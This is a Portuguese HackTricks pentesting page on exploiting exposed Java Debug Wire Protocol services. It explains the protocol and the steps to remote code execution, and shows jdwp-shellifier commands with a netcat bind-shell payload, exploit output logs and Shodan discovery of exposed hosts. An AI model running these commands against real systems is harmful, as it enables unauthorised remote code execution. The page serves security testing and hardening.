22 KiB
Pentesting JDWP - Protocolo de Depuração Java (Java Debug Wire Protocol)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo Telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Explorando
Você pode usar o exploit em python localizado em https://github.com/IOActive/jdwp-shellifier
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Descobri que o uso de --break-on 'java.lang.String.indexOf'
torna o exploit mais estável. E se você tiver a chance de fazer o upload de uma backdoor para o host e executá-la em vez de executar um comando, o exploit será ainda mais estável.
Normalmente, esse depurador é executado na porta 8000 e, se você estabelecer uma conexão TCP com a porta e enviar "JDWP-Handshake", o servidor deve responder com a mesma string.
Além disso, você pode verificar essa string na rede para encontrar possíveis serviços JDWP.
Listando processos, se você encontrar a string "jdwk" dentro de um processo Java, provavelmente ele tem o Java Debug Wired Protocol ativo e você pode ser capaz de se mover lateralmente ou até mesmo elevar privilégios (se executado como root).
Mais detalhes
Copiado de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
Java Debug Wire Protocol
Java Platform Debug Architecture (JPDA): JDWP é um componente do sistema global de depuração Java, chamado Java Platform Debug Architecture (JPDA)[2]. O seguinte é um diagrama da arquitetura geral:
O Debuggee consiste em uma JVM multithread em execução em nosso aplicativo alvo. Para ser remotamente depurável, a instância da JVM deve ser iniciada explicitamente com a opção -Xdebug passada na linha de comando, bem como a opção -Xrunjdwp (ou -agentlib). Por exemplo, iniciar um servidor Tomcat com depuração remota habilitada ficaria assim:
Conforme mostrado no diagrama da arquitetura, o Java Debug Wire Protocol é o link central entre o Depurador e a instância da JVM. Observações sobre o protocolo incluem:
- É um protocolo binário de rede baseado em pacotes.
- É principalmente síncrono. O depurador envia um comando por JDWP e espera receber uma resposta. No entanto, alguns comandos, como Eventos, não esperam uma resposta síncrona. Eles enviarão uma resposta quando condições específicas forem atendidas. Por exemplo, um BreakPoint é um Evento.
- Não usa autenticação.
- Não usa criptografia.
Todas essas observações fazem total sentido, uma vez que estamos falando de um protocolo de depuração. No entanto, quando um serviço desse tipo é exposto a uma rede hostil ou está exposto à Internet, as coisas podem dar errado.
Handshake: JDWP dita[9] que a comunicação deve ser iniciada por um simples handshake. Após uma conexão TCP bem-sucedida, o Depurador (cliente) envia a string ASCII de 14 caracteres "JDWP-Handshake". O Debuggee (servidor) responde a essa mensagem enviando exatamente a mesma string. O seguinte rastreamento scapy[3] mostra o handshake inicial bidirecional:
root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy
Bem-vindo ao Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
Um auditor de segurança experiente pode ter percebido que um handshake tão simples oferece uma maneira fácil de descobrir serviços JDWP ativos na Internet. Basta enviar uma sonda simples e verificar a resposta específica. Mais interessante ainda, foi observado um comportamento no IBM Java Development Kit ao fazer varreduras com o ShodanHQ[4], com o servidor "falando" primeiro com o mesmo banner mencionado. Como consequência, existe uma maneira totalmente passiva de descobrir um serviço JDWP ativo (isso é abordado posteriormente neste artigo com a ajuda do (in)famoso Shodan).
Comunicação: JDWP define mensagens[10] envolvidas na comunicação entre o Depurador e o Debuggee. As mensagens seguem uma estrutura simples, definida da seguinte forma:
Os campos Length e Id são bastante autoexplicativos. O campo Flag é usado apenas para distinguir pacotes de solicitação de respostas, um valor de 0x80 indicando um pacote de resposta. O campo CommandSet define a categoria do Comando, conforme mostrado na tabela a seguir.
\
CommandSet | ** Command** |
---|---|
0x40 | Ação a ser executada pela JVM (por exemplo, definir um BreakPoint) |
0x40–0x7F | Fornecer informações de evento ao depurador (por exemplo, a JVM atingiu um BreakPoint e está aguardando mais ações) |
0x80 | Extensões de terceiros |
Tendo em mente que queremos executar código arbitrário, os seguintes comandos são os mais interessantes para nossos propósitos.
-
VirtualMachine/IDSizes define o tamanho das estruturas de dados manipuladas pela JVM. Essa é uma das razões pelas quais o script nmap jdwp-exec.nse[11] não funciona, pois o script usa tamanhos codificados.
-
ClassType/InvokeMethod permite que você invoque uma função estática.
-
ObjectReference/InvokeMethod permite que você invoque uma função de um objeto instanciado na JVM.
-
StackFrame/(Get|Set)Values fornece capacidades de empilhamento/desempilhamento da pilha de threads.
-
Event/Composite força a JVM a reagir a comportamentos específicos declarados por este comando. Este comando é fundamental para fins de depuração, pois permite, entre muitas outras coisas, definir pontos de interrupção, percorrer as threads durante a execução e ser notificado ao acessar/modificar valores da mesma maneira que o GDB ou o WinDBG. Não apenas o JDWP permite acessar e invocar objetos já existentes na memória, mas também permite criar ou sobrescrever dados.
-
VirtualMachine/CreateString permite transformar uma string em um java.lang.String que vive no tempo de execução do JVM.
-
VirtualMachine/RedefineClasses permite instalar novas definições de classe.
"Todos os seus JDWP nos pertencem"
Como vimos, o JDWP fornece comandos integrados para carregar classes arbitrárias na memória do JVM e invocar bytecode já existente e/ou recém-carregado. A próxima seção abordará as etapas para criar um código de exploração em Python, que se comporta como uma implementação parcial de uma interface JDI para ser o mais confiável possível. A principal razão para este script de exploração independente é que, como um pentester, eu gosto de exploits "head-shot". Ou seja, quando tenho certeza de que um ambiente/aplicativo/protocolo é vulnerável, quero ter minha ferramenta pronta para explorá-lo imediatamente (ou seja, sem PoC, que basicamente era a única coisa que existia até agora). Agora que cobrimos a teoria, vamos para a implementação prática. Quando nos deparamos com um serviço JDWP aberto, a execução arbitrária de comandos está exatamente a cinco passos de distância (ou com esse exploit, apenas a um comando de linha de distância). Aqui está como seria: 1. Obter referência de tempo de execução do JavaO JVM manipula objetos por meio de suas referências. Por esse motivo, nossa exploração deve primeiro obter a referência para a classe java.lang.Runtime. A partir dessa classe, precisamos da referência para o método getRuntime(). Isso é feito buscando todas as classes (pacote AllClasses) e todos os métodos na classe que estamos procurando (pacote ReferenceType/Methods). 2. Configurar ponto de interrupção e aguardar notificação (chamadas assíncronas)Isso é a chave para nossa exploração. Para invocar código arbitrário, precisamos estar em um contexto de thread em execução. Para fazer isso, um truque é configurar um ponto de interrupção em um método que se sabe ser chamado em tempo de execução. Como visto anteriormente, um ponto de interrupção em JDI é um evento assíncrono cujo tipo é definido como BREAKPOINT(0x02). Quando atingido, o JVM envia um pacote EventData para nosso depurador, contendo nosso ID de ponto de interrupção e, mais importante, a referência à thread que o atingiu.
\
Portanto, é uma boa ideia configurá-lo em um método frequentemente chamado, como java.net.ServerSocket.accept(), que é muito provável de ser chamado sempre que o servidor recebe uma nova conexão de rede. No entanto, deve-se ter em mente que poderia ser qualquer método existente em tempo de execução. 3. Alocar um objeto Java String em tempo de execução para realizar a carga útilVamos executar código no tempo de execução do JVM, então todos os nossos dados manipulados (como string) devem existir no tempo de execução do JVM (ou seja, possuir uma referência de tempo de execução). Isso é feito facilmente enviando um comando CreateString.
- Obter objeto Runtime do contexto do ponto de interrupçãoNeste ponto, temos quase todos os elementos de que precisamos para uma exploração bem-sucedida e confiável. O que estamos perdendo é uma referência de objeto Runtime. Obtê-lo é fácil e podemos simplesmente executar no tempo de execução do JVM o método estático java.lang.Runtime.getRuntime()[8] enviando um pacote ClassType/InvokeMethod e fornecendo as referências da classe Runtime e da thread. 5. Pesquisar e invocar o método exec() na instância RuntimeA etapa final é simplesmente procurar o método exec() no objeto estático Runtime obtido na etapa anterior e invocá-lo (enviando um pacote ObjectReference/InvokeMethod) com o objeto String que criamos na etapa três.
Et voilà !! Rápido e fácil. Como demonstração, vamos iniciar um Tomcat em execução com o modo de depuração JPDA habilitado:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
Executamos nosso script sem um comando para executar, apenas para obter informações gerais do sistema:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
Mesma linha de comando, mas contra um sistema Windows e interrompendo em um método totalmente diferente:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
Executamos nosso exploit para criar um bind shell com o payload "ncat -e /bin/bash -l -p 1337", em um sistema Linux:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
O exploit final utiliza essas técnicas, adiciona algumas verificações e envia sinais de suspensão/resumo para causar o mínimo de interrupção possível (é sempre melhor não quebrar a aplicação em que você está trabalhando, certo?). Ele atua em dois modos:
- O modo "Padrão" é totalmente não intrusivo e simplesmente executa código Java para obter informações do sistema local (perfeito para um PoC para um cliente).
- Passar a opção "cmd" executa um comando de sistema no host remoto e, portanto, é mais intrusivo. O comando é executado com os privilégios com os quais a JVM está sendo executada.
Este script de exploit foi testado com sucesso em:
- Oracle Java JDK 1.6 e 1.7
- OpenJDK 1.6
- IBM JDK 1.6
Como o Java é projetado para ser independente de plataforma, comandos podem ser executados em qualquer sistema operacional suportado pelo Java. Bem, isso é realmente uma boa notícia para nós, pentesters: o serviço JDWP aberto significa RCE confiável. Até agora, tudo bem.
E quanto à exploração na vida real?
Na verdade, o JDWP é bastante usado no mundo das aplicações Java. No entanto, os pentesters podem não encontrá-lo com tanta frequência ao realizar avaliações remotas, pois os firewalls geralmente bloqueiam a porta em que ele está sendo executado (e devem fazer isso). Mas isso não significa que o JDWP não possa ser encontrado na natureza:
- No momento em que este artigo foi escrito, uma rápida pesquisa no ShodanHQ[4] revelou imediatamente cerca de 40 servidores enviando o handshake JDWP:
Isso é realmente uma descoberta interessante porque, como vimos antes, supõe-se que seja o lado do cliente (depurador) que inicia o diálogo.
- O GitHub[7] também revela um número significativo de aplicativos de código aberto potencialmente vulneráveis:
- Ao fazer uma varredura em massa na Internet em busca de portas específicas (tcp/8000, tcp/8080, tcp/8787, tcp/5005), foram encontrados muitos hosts (que não podem ser relatados aqui) respondendo ao handshake inicial.
- Aplicações "corporativas" foram encontradas na natureza executando um serviço JDWP *por padrão* (descobrir o número da porta real fica como exercício para o leitor curioso).
Essas são apenas algumas maneiras de descobrir serviços JDWP abertos na Internet. Isso serve como um ótimo lembrete de que as aplicações devem passar regularmente por revisões de segurança detalhadas, os ambientes de produção devem ter qualquer funcionalidade de depuração desativada e os firewalls devem ser configurados para restringir o acesso apenas aos serviços necessários para a operação normal. Permitir que qualquer pessoa se conecte a um serviço JDWP é exatamente o mesmo que permitir uma conexão a um serviço gdbserver (de uma forma potencialmente mais estável). Espero que você tenha gostado de ler este artigo tanto quanto eu gostei de brincar com o JDWP. Para todos vocês, poderosos piratas, feliz JDWP pwning !!
Agradecimentos
Gostaria de agradecer a Ilja Van Sprundel e Sebastien Macke por suas ideias e testes.
Referências:
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.